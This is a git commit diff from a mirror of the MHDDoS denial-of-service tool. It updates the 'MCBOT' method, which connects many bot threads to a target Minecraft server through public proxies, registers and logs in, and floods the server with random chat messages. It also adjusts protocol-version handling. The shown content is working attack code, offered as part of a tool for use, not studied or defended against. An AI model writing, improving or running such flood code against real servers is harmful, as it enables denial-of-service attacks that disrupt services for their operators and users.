mirror of
https://github.com/MatrixTM/MHDDoS.git
synced 2024-11-16 03:32:32 +08:00
Update mcbot
This commit is contained in:
parent
be36becde7
commit
bd78d61671
|
@ -1,5 +1,6 @@
|
||||||
{
|
{
|
||||||
"MCBOT": "MHDDoS_",
|
"MCBOT": "MHDDoS_",
|
||||||
|
"MINECRAFT_DEFAULT_PROTOCOL": 47,
|
||||||
"proxy-providers": [
|
"proxy-providers": [
|
||||||
{"type":4, "url": "https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4", "timeout": 5},
|
{"type":4, "url": "https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4", "timeout": 5},
|
||||||
{"type":4, "url": "https://api.proxyscrape.com/?request=displayproxies&proxytype=socks4", "timeout": 5},
|
{"type":4, "url": "https://api.proxyscrape.com/?request=displayproxies&proxytype=socks4", "timeout": 5},
|
||||||
|
|
|
@ -1 +0,0 @@
|
||||||
|
|
14
start.py
14
start.py
|
@ -520,9 +520,8 @@ class Layer4(Thread):
|
||||||
Tools.send(s, Minecraft.chat(self.protocolid, "/register %s %s" % (password, password)))
|
Tools.send(s, Minecraft.chat(self.protocolid, "/register %s %s" % (password, password)))
|
||||||
Tools.send(s, Minecraft.chat(self.protocolid, "/login %s" % password))
|
Tools.send(s, Minecraft.chat(self.protocolid, "/login %s" % password))
|
||||||
|
|
||||||
while Tools.send(s, Minecraft.keepalive(self.protocolid, ProxyTools.Random.rand_int(1111111, 9999999))):
|
while Tools.send(s, Minecraft.chat(self.protocolid, str(ProxyTools.Random.rand_str(256)))):
|
||||||
Tools.send(s, Minecraft.chat(self.protocolid, str(ProxyTools.Random.rand_str(100))))
|
sleep(1.1)
|
||||||
sleep(.05)
|
|
||||||
|
|
||||||
Tools.safe_close(s)
|
Tools.safe_close(s)
|
||||||
|
|
||||||
|
@ -1661,15 +1660,18 @@ if __name__ == '__main__':
|
||||||
else:
|
else:
|
||||||
logger.setLevel("DEBUG")
|
logger.setLevel("DEBUG")
|
||||||
|
|
||||||
protocolid = 47
|
protocolid = con["MINECRAFT_DEFAULT_PROTOCOL"]
|
||||||
|
|
||||||
if method == "MCBOT":
|
if method == "MCBOT":
|
||||||
with suppress(Exception), socket(AF_INET, SOCK_STREAM) as s:
|
with suppress(Exception), socket(AF_INET, SOCK_STREAM) as s:
|
||||||
Tools.send(s, Minecraft.handshake((target, port), protocolid, 1))
|
Tools.send(s, Minecraft.handshake((target, port), protocolid, 1))
|
||||||
Tools.send(s, Minecraft.data(b'\x00'))
|
Tools.send(s, Minecraft.data(b'\x00'))
|
||||||
|
|
||||||
protocolid = Tools.protocolRex.search(str(s.recv(256)))
|
protocolid = Tools.protocolRex.search(str(s.recv(1024)))
|
||||||
protocolid = 47 if not protocolid else int(protocolid.group(1))
|
protocolid = con["MINECRAFT_DEFAULT_PROTOCOL"] if not protocolid else int(protocolid.group(1))
|
||||||
|
|
||||||
|
if 47 < protocolid > 758:
|
||||||
|
protocolid = con["MINECRAFT_DEFAULT_PROTOCOL"]
|
||||||
|
|
||||||
for _ in range(threads):
|
for _ in range(threads):
|
||||||
Layer4((target, port), ref, method, event,
|
Layer4((target, port), ref, method, event,
|
||||||
|
|
Loading…
Reference in New Issue
Block a user